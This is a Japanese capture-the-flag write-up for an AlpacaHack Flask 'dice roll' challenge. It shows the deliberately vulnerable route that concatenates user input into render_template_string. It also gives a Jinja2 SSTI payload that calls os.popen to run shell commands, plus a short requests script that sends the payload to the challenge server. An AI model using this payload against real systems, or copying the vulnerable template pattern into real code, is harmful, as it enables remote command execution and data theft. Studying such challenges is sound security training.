Daily AlpacaHack-dice roll

2026-01-18Team: 個人

いつもの

Overview

Flask製のWebアプリケーションで、サイコロを振って結果を表示するサービス。 ユーザー名を入力すると "Hello, ! Your roll of the dice is: " というメッセージが表示される。 ソースコードを確認すると、ユーザー名がテンプレート文字列に直接結合されており、SSTIが存在することが確認できる。

Solution

app.pyroll 関数:

@app.get("/roll")
def roll():
    username = request.args.get("username", "")
    dice = randint(1, 6)
    template = "Hello, " + username + "! Your roll of the dice is: {{ dice }}"
    return render_template_string(template, dice=dice)

username がサニタイズされずに template へ連結され、render_template_string に渡される。これによりJinja2のテンプレート構文を注入して任意のPythonコードを実行できる。

Jinja2のSSTIでは、Pythonの内部属性(__globals____class__ など)を辿ってモジュールのインポートや関数実行が可能。

今回は cycler クラスを利用して os.popen を呼び出すペイロードを作成した。

{{ cycler.__init__.__globals__.os.popen('cat /flag*').read() }}

動作手順:

  1. cycler.__init__ メソッドを参照
  2. __globals__ からグローバルシンボルテーブルへアクセス
  3. os モジュールを取得
  4. popen でシェルコマンド cat /flag* を実行
  5. read() で実行結果(フラグ)を取得

Exploit

フラグを取得するスクリプト:

import requests
import sys
import urllib.parse

url = "http://34.170.146.252:14677/"
        
payload = "{{ cycler.__init__.__globals__.os.popen('cat /flag*.txt').read() }}"
    
print(f"Target URL: {url}")
print(f"Payload: {payload}")
         
target_url = f"{url}/roll"
response = requests.get(target_url, params={"username": payload})
                
print("Response text:")
print(response.text)